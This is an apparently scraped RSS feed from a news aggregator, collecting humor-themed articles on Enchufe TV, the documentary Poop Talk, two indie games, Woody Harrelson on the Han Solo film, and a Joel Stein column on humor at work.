Their inspirations include the College Humor franchise in the U.S. and Mexico’s El Chavo del Ocho, a show that first aired in 1971 and still runs in over half a dozen countries with an estimated 90 million daily viewers. They paid homage with a surreal movie that turned the Mexican icon upside down featuring suspense and even sexuality-filled scenes. “We aspired to internationalize our humor [like Chavo did] with its authentic, everyday nature,” Domínguez says. His production house, Touché Films, has more movies and a series for a large network in the works. Domínguez dreams of making films and of becoming the mogul behind “the Disney of Latino digital content.”

Enchufe has managed to find success while bucking Latin America’s affinity for cookie-cutter comedy shows that — with a few exceptions — juggle the same topics, typically scorning minorities. “We wanted to be the anti-humor of Ecuador,” Domínguez says. “They laugh at the gay person for being gay, they laugh at the Black person for being Black. We wanted to break that and question [stereotypes] to shed light on them. And we wanted to really differentiate ourselves by having good camera work, [building the] actors and polishing our scripts.”

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Orlando Herrera, Enchufe TV’s content director, believes they’re educating a new generation to reject stereotypes. “It’s funny how things have changed,” he says. “Conservatism has now become the counterculture. And we work with that.” Aside from “The World Upside Down,” Enchufe tackled sexuality with “Gay Privileges,” in which a heterosexual man learns the perks of being homosexual.

While Enchufe’s humor is quirky, its development of scripts and actors is highly professionalized. “There are not a lot of comedy producers in Spanish who really bring this level of craft to their work. [Their system] is like the American system with writers, rooms and rigid schedules,” says Benjamin Odell, director and chief operations officer at 3Pas Studios in Los Angeles. “They understand that the creative process prospers when you work within pre-established parameters.” Odell has worked with Domínguez producing content for Enchufe TV with actor and director Eugenio Derbez, one of Mexico’s most prominent comedians and one who also breaks his country’s comedy norms with unorthodox jokes and unique characters.

While Enchufe TV has stormed Latin America, it has not yet broken through with the vast Latino population in the U.S. “They need to always evolve and never be complacent,” Odell says. “They need to transcend cultural sensibilities to be funny to the greatest number of people.”

Evolution is not a problem for the Enchufe crew, who are always eager to push boundaries. “Humor is inherently transgressive,” Domínguez says. “If you’re not breaking rules, then you aren’t making good humor.” And it’s relatable too: ”When you break your toe, you won’t say, ‘Geez!’ You’ll probably say ‘Puta madre!’”

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]]> https://briefnews.eu/hes-conquering-latin-america-with-acid-humor/feed/ 0 Docu-comedy Poop Talk flushes stigma with full hour of well-formed humor https://briefnews.eu/docu-comedy-poop-talk-flushes-stigma-with-full-hour-of-well-formed-humor/ https://briefnews.eu/docu-comedy-poop-talk-flushes-stigma-with-full-hour-of-well-formed-humor/#respond Sun, 18 Feb 2018 15:51:10 +0000 http://briefnews.eu/docu-comedy-poop-talk-flushes-stigma-with-full-hour-of-well-formed-humor/

 <em>Poop Talk</em>, loaded with renowned comedians.

 Poop Talk, loaded with renowned comedians. (credit: Copyright 2017 Comedy Dynamics and Party of Seven Entertainment)

For some, a 75-minute film of famous and talented comedians letting rip a steady stream of explicit jokes and messy misadventures involving fecal matter is an easy sell. Sign me up. For others, some pushing and straining may be needed to get them to plop down and watch.

Those hesitant viewers are just the ones the film’s creators are hoping to bag.

With the funny and sometimes cringe-inducing docu-comedy Poop Talk, comedians try—and do—use humor and tales of their deeply personal bodily functions to squeeze out the humanity of it all. The ultimate goal, its creators told Ars, is to flush the stigma associated with the stinky act—not to mention a whole host of gastrointestinal disorders.

Read 15 remaining paragraphs | Comments

]]> https://briefnews.eu/docu-comedy-poop-talk-flushes-stigma-with-full-hour-of-well-formed-humor/feed/ 0 The Humor and Beauty in Capturing Graffiti Cleanup https://briefnews.eu/the-humor-and-beauty-in-capturing-graffiti-cleanup/ https://briefnews.eu/the-humor-and-beauty-in-capturing-graffiti-cleanup/#respond Sat, 18 Nov 2017 09:01:42 +0000 http://briefnews.eu/the-humor-and-beauty-in-capturing-graffiti-cleanup/ These before and after photos show Vincent Wittenberg and Wladimir Manshanden’s unique appreciation for a utilitarian photo archive.


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]]> https://briefnews.eu/the-humor-and-beauty-in-capturing-graffiti-cleanup/feed/ 0 Friend or Food? Dark Humor & Strategy Is The Recipe To Tooth And Tail https://briefnews.eu/friend-or-food-dark-humor-strategy-is-the-recipe-to-tooth-and-tail/ https://briefnews.eu/friend-or-food-dark-humor-strategy-is-the-recipe-to-tooth-and-tail/#respond Tue, 19 Sep 2017 04:35:37 +0000 http://briefnews.eu/friend-or-food-dark-humor-strategy-is-the-recipe-to-tooth-and-tail/ toothAndTail_header.jpg

In newly-released RTS Tooth And Tail, your victories will decide who will become the next menu item. The normally-peaceful animal kingdom has turned to meat for food due to dwindling crop numbers, but the commodity doesn’t come easily (as no one wants to volunteer to be the meal), leading to an all-out civil war between four factions that players can control. Using a variety of animals armed with all manner of weaponry, it is up to you to keep your faction off the chopping block.

For those who enjoy dark humor mixed into their strategy games, this is a perfect tail (Get it?). In Tooth and Tail, players will be in control of one of the four factions: The Longcoats, the Commonfolk, the KSR, or the Civilized. In the story mode, players will be in control of the leader of each of the respective factions, leading them to victory through various missions across procedurally generated maps. There will be different units available to aid your cause, such as paratrooper-puking owls and gas-lobbing skunks – their descriptions alone inspiring a very unique RTS. It will be up to you to use these units to complete your objectives and stay alive.

Players who enjoy multiplayer were not left out of the revolution, as Tooth and Tail offers both online and local multiplayer modes. The matches are designed to be easy and dedicate only 5-12 minutes, so players will not feel pressured to dedicate hours to a single match. There’s no excuse to not sharpen your claws and test your abilities against more than just AI.

Stay off the menu and see your way to victory in the revolution with Tooth And Tail!

You can purchase Tooth and Tail on Steam here. You can also check out the developer’s site and Twitter!

IndieGames.com

]]> https://briefnews.eu/friend-or-food-dark-humor-strategy-is-the-recipe-to-tooth-and-tail/feed/ 0 After Charlottesville, Dark Humor Helps Twitter Grieve https://briefnews.eu/after-charlottesville-dark-humor-helps-twitter-grieve/ https://briefnews.eu/after-charlottesville-dark-humor-helps-twitter-grieve/#respond Tue, 15 Aug 2017 15:40:29 +0000 http://briefnews.eu/after-charlottesville-dark-humor-helps-twitter-grieve/ Processing the horror of the weekend involved heavy hearts and gallows humor, in nearly equal measure.


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]]> https://briefnews.eu/after-charlottesville-dark-humor-helps-twitter-grieve/feed/ 0 Doctor Kvorak’s Obliteration Game: Dead Serious Puzzling, Wacky Sense Of Humor https://briefnews.eu/doctor-kvoraks-obliteration-game-dead-serious-puzzling-wacky-sense-of-humor/ https://briefnews.eu/doctor-kvoraks-obliteration-game-dead-serious-puzzling-wacky-sense-of-humor/#respond Thu, 03 Aug 2017 15:30:55 +0000 http://briefnews.eu/doctor-kvoraks-obliteration-game-dead-serious-puzzling-wacky-sense-of-humor/ kvorak.jpg
Few games out there dare to ask the really important questions, such as “why is that weird chicken talking in rhymes?”, “what’s up with all the cheese lying around?”, and “did I really just blow up a planet?” Thankfully, Doctor Kvorak’s Obliteration Game, a 3D puzzle platformer which can also be enjoyed in VR, is not afraid to tackle these touchy subjects.

You see, galactic supervillain Doctor Kvorak – completely with terrible accent, delusions of grandeur, and all that – has, uh, invited you to take part in his devious gameshow. It’s not all fun and games and funny accents though; obliteration is the name of the game, and the loser is responsible for whole planets being destroyed. Think Running Man meets Mars Attacks.

In order to win wonderful prizes and avert horrible tragedy, you have to puzzle your way through fifteen increasingly harder levels full of traps, levers, boxes, and various doodads to collect. You can also pick up some weird artefacts which allow you to dress up, because who wouldn’t like to save the world with a traffic cone or a sombrero on their head?

Granted, it’s not the prettiest puzzler around and the controls feel a little clunky, but when you’re playing as a pudgy blue alien, that feels strangely fitting. (I fail to come up with excuses for the nonstop barrage of electronic music assaulting your senses, mind you.) Either way, it’s certainly deeper and less silly than you might give it credit for at first glance and I really enjoyed my time with it so far.

You can purchase Doctor Kvorak’s Obliteration Game from Steam
. For more information, check out the game’s website and follow developer Freekstorm on Facebook or Twitter.

IndieGames.com

]]> https://briefnews.eu/doctor-kvoraks-obliteration-game-dead-serious-puzzling-wacky-sense-of-humor/feed/ 0 Woody Harrelson Hypes ‘Han Solo’ Movie’s Humor, Plus The Timing Of Lord & Miller’s Firing Explained https://briefnews.eu/woody-harrelson-hypes-han-solo-movies-humor-plus-the-timing-of-lord-millers-firing-explained/ https://briefnews.eu/woody-harrelson-hypes-han-solo-movies-humor-plus-the-timing-of-lord-millers-firing-explained/#respond Mon, 31 Jul 2017 22:18:24 +0000 http://briefnews.eu/woody-harrelson-hypes-han-solo-movies-humor-plus-the-timing-of-lord-millers-firing-explained/ The Empire Strikes Back - Han Solo

We knew all about the clashing of approaches between producer Kathleen Kennedy and original directors Phil Lord and Chris Miller regarding Lucasfilm’s Han Solo spin-off film, but ever since Ron Howard took over the director’s chair, we’ve been wondering a lot about the film’s tone. Now, thanks to a new interview with one of its stars, we’ve learned that Solo may end up being one of the funnier Star Wars movies we’ve seen so far.

And speaking of Lord and Miller, we take a look at the Directors Guild of America rule that explains the timing of why they were fired with only three weeks left in principal photography.

Han Solo movie comedy

Woody Harrelson Says Han Solo Is A Funnier Star Wars Movie

Speaking with Entertainment Tonight, Woody Harrelson – who plays a criminal named Beckett who serves as a mentor to Alden Ehrenreich’s young Han Solo in the movie – was asked how the production was progressing with Howard at the helm:

“Fortunately, the Force is still very much with us. It’s great that Ron came along when he did.”

When asked about his young co-star, Harrelson praised Ehrenreich’s abilities and teased his thoughts about how the film could rank among the other Star Wars movies when all is said and done:

“He’s a great actor and a great guy, [with a] great sense of humor. I think a lot of humor comes through what he’s doing. I think it could be one of the funnier Star Wars movies.”

“One of the funnier Star Wars movies” isn’t exactly a tall bar to hurdle, so hopefully there ends up being more reason to watch this film than the possibility that it’ll be funnier than Attack of the Clones. It’s worth noting that this isn’t the first time Harrelson has hyped this film. He previously said he felt like they were making the best Star Wars movie yet, a statement that’s especially ironic now that Lord and Miller have walked away from the production.

han-solo-image

Why Lord and Miller Were Probably Fired At That Point During Production

And about that whole Lord and Miller fiasco: many, myself included, were wondering about the timing of their firing. Why would Lucasfilm part ways with them with only three weeks of shooting left to go? ScreenRant points us to a DGA rule in Section 7-503 of the guild’s Creative Handbook, which states:

“A Director who is replaced after directing ninety percent (90%) but less than one hundred percent (100%) of the scheduled principal photography of any motion picture shall be the Director of the film entitled to all the post-production creative rights set forth in this Article 7, unless (a) the Director was primarily responsible for causing the motion picture to be “over budget” or (b) the substituting Director was required to direct more than ten percent (10%) of all principal photography for the picture.”

“The Employer may not schedule additional photography to avoid the express intent of this provision and has the burden of proving the necessity of such additional photography.”

“A Director who has directed one hundred percent (100%) of the scheduled principal photography of a motion picture may not be replaced except for gross willful misconduct.”

Lord and Miller had directed approximately 85% of the Han Solo movie before they were let go, which makes their firing seem like a strategic play on Lucasfilm’s part to ensure that they wouldn’t have any say over what went on in post-production. It might seem harsh, but it’s a shrewd move by Kennedy and company, who have no time to waste with people who don’t conform to their vision. After all, Disney has stockholders to answer to, and I imagine hitting that release date is the most valuable thing Kennedy can do for them.

The still-untitled Han Solo film hits theaters on May 25, 2018.

The post Woody Harrelson Hypes ‘Han Solo’ Movie’s Humor, Plus The Timing Of Lord & Miller’s Firing Explained appeared first on /Film.

/Film

]]> https://briefnews.eu/woody-harrelson-hypes-han-solo-movies-humor-plus-the-timing-of-lord-millers-firing-explained/feed/ 0 People fall off a ‘humor cliff’ when they start working — and it impacts your career more than you’d think https://briefnews.eu/people-fall-off-a-humor-cliff-when-they-start-working-and-it-impacts-your-career-more-than-youd-think/ https://briefnews.eu/people-fall-off-a-humor-cliff-when-they-start-working-and-it-impacts-your-career-more-than-youd-think/#respond Mon, 17 Jul 2017 14:35:24 +0000 http://briefnews.eu/people-fall-off-a-humor-cliff-when-they-start-working-and-it-impacts-your-career-more-than-youd-think/ Dwight and Angela Schrute the Office coupleNBCUniversal Television Distribution

You are not funny.

I don’t mean “you” in the generic sense, but literally you personally, because you’re a businessperson. I, however, am funny. In fact, I’m so funny, I get paid for it. Not as well as you do for your businessing, but really well considering what I do is way less boring. I literally don’t know how to use Excel, or even if people still use Excel, or if I’m misspelling Excel.

Statistically — which is the only way you people understand anything — it is highly probable that you used to have a sense of humor. Or even that you have a pretty good one when you’re not doing businessy things. Recent Gallup data reveals that people laugh significantly more on weekends than on weekdays.

Further, this data suggests that as people get older, they stop smiling and laughing as frequently. This and other emerging research collected by Stanford Graduate School of Business professor Jennifer Aaker and lecturer Naomi Bagdonas, who co-teach a course on the subject, suggests that people fall off a “humor cliff” — both in laugh frequency and self-perceptions of funniness — around the time they enter the workforce.

This is a trend that Aaker and Bagdonas would like to see reversed, since humor is an effective and underleveraged tool for power, offering a competitive advantage against peers, higher retention rates of employees, innovative solutions, and teams that are more resilient to stress.

As a businessperson who doesn’t have much time for reading because you have to go back to your businessing, you are probably wondering: Are there any contrived metaphors I can remember as a takeaway for how I can utilize humor in the workplace? Why, yes, there are: bridges and ladders.

Bridges are tools to build bonds, increase trust, and strengthen cultures. That is not what bridges in real life do, so a better metaphor might be “magnets” or “food,” but we figured you businesspeople mostly skim and don’t think too deeply about words.

The reason humor works as a bridge (just go with it) is that laughter sparks the release of oxytocin, a hormone that facilitates social bonding, increases trust, and quickens self-disclosure. This is key in a workplace since all the other ways to release oxytocin are no longer permitted by Human Resources. In a 2015 study, psychologists Alan Gray, Brian Parkinson, and Robin Dunbar had participants watch either a funny or neutral video clip before engaging in a self-disclosure exercise with a stranger: People who watched the funny clip revealed 30% more personal information relative to those who watched the neutral clip.

When it comes to non-strangers, shared moments of laughter help facilitate closeness down the line. A 2007 study by social psychologist Doris Bazzini and her colleagues found that couples who recalled moments when they laughed together were more satisfied in their relationships than those who recalled positive memories that weren’t funny.

But how can you, a businessperson who non-ironically uses terms such as “leverage best practices” and “exploit core competencies,” move the needle on your humor skill set? First, get good at self-deprecating, which is the opposite of everything you’ve ever done. Self-deprecation humanizes leaders, creates connections with employees, and makes people think the self-deprecator is even more powerful than she is: After all, if she can afford to mock herself, she must be confident in her abilities. It also signals to employees that they are allowed to be funny. Self-deprecation, however, can hurt your credibility if you’re in a position of lower status in the organization.

Louis CK StandupNetflixIf you are in a position of higher status or early in your relationship, it’s best to avoid jokes that are aggressive (roasts, teasing, mocking); it is worth noting that Don Rickles never held an office job. Instead, use humor to highlight shared viewpoints or common enemies.

And don’t ever punch down by making an employee the butt of your joke. Instead, punch yourself. During a visit to Aaker and Bagdonas’s class, Hiroki Asai, former head of marketing communications at Apple, told the story of how he challenged himself to make all 1,000 employees laugh during every all-hands meeting. Once, he purposely showed up late to a meeting and then had a colleague play footage of him asking the beloved cleaning woman for advice on how to run the company. At the end of the video, she slapped him in the face and told him to get a grip; she became the hero of the group and Asai’s foil in many videos to come.

So how can you keep a pulse on what’s funny? “The best meritocratic part of comedy is that people either laugh or they don’t,” said Seth Meyers, host of Late Night with Seth Meyers and former head writer at Saturday Night Live, when speaking with the class. While this is the case in the comedy world, it isn’t always the case in business; especially as you get more senior in an organization, lower status employees may laugh out of social deference, rather than genuine appreciation for your sense of humor. That’s why Meyers advised the students to “get good at knowing the difference between your real laugh and polite laugh. Once you recognize it in yourself, you can identify it in other people.”

If you’re not funny — which, to be clear, you are not — have no fear. All you need to do is figure out who in your organization is funny and encourage them. Call them “humor ambassadors,” in order to ruin the experience for everyone. Empower them to take on rogue humor missions and help you create more bonded and resilient teams in the process.

Ladders are not the opposite of bridges, or one of the first things you think of when you think of bridges, but, again, go with it. Unlike bridges, ladders are ways to use humor to increase your status, or decrease someone else’s. Studies conducted in 2016 by Brad Bitterly, Alison Wood Brooks, and Maurice Schweitzer showed that if you are able to land a joke in a professional setting, your colleagues are more likely to view you as competent and attribute higher status to you.

But landing a joke requires knowing your style. Leslie Blodgett, the founder and former CEO of bareMinerals, explained: “People want authenticity. If you’re not a joke teller, don’t practice joke telling. Practice being yourself.” And don’t show your cards too soon. Anne Libera and Kelly Leonard, who hail from Chicago’s legendary Second City improv theater and trained talents like Tina Fey, Stephen Colbert, and Jordan Peele, ran a workshop in the class and emphasized the element of surprise, saying, “The minute you announce that something is going to be fun — it is over.”

Two women laughing at the tableEugene Kim/flickrOne of the more surprising and effective places for humor is around the negotiations table, where humor can make you more persuasive. In a study by researchers Karen O’Quinn and Joel Aronoff, participants negotiated on the purchase price of a piece of art. When the sellers concluded their final offer with the humorous line “…and I’ll throw in my pet frog,” participants in the study granted 18% more concessions than in the control condition, thereby demonstrating that you should not run a psych study with 10-year-old boys.

Humor also increases power through memorability. Venture capitalist David Hornik, who’s a general partner at August Capital, argued that most board meetings “run the spectrum from tedium to sadness, so if someone is willing to take the risk to create some levity, there is incredible value in that. People remember it.” Biologist and author John Medina agrees, noting in his book Brain Rules that “the brain doesn’t pay attention to boring things.” In addition to oxytocin, laughter releases dopamine, which aids in memory and information processing.

Humor can help you land your dream job as well. A survey of more than 700 CEOs by Hodge-Cronin and Associates showed that 98% of CEOs prefer job candidates with a sense of humor and 84% think that people with a sense of humor do better work. Dwight Eisenhower said, “A sense of humor is part of the art of leadership, of getting along with people, of getting things done.”

If Dwight David Eisenhower, the second least naturally funny president after Franklin Pierce, thought humor was necessary to beat Nazis, build highways, and warn against the military-industrial complex, then you better learn it too. So build a bridge, climb a ladder, mix a metaphor, and use the most obvious tool that everyone else is afraid to touch. And if it does get you fired, please let Jennifer Aaker and Naomi Bagdonas know. They’re working on a study that’s not finished yet.

Joel Stein writes a weekly humor column for TIME magazine and was part of the editorial team for the Humor: Serious Business course at Stanford GSB. He graduated from Stanford in 1993.

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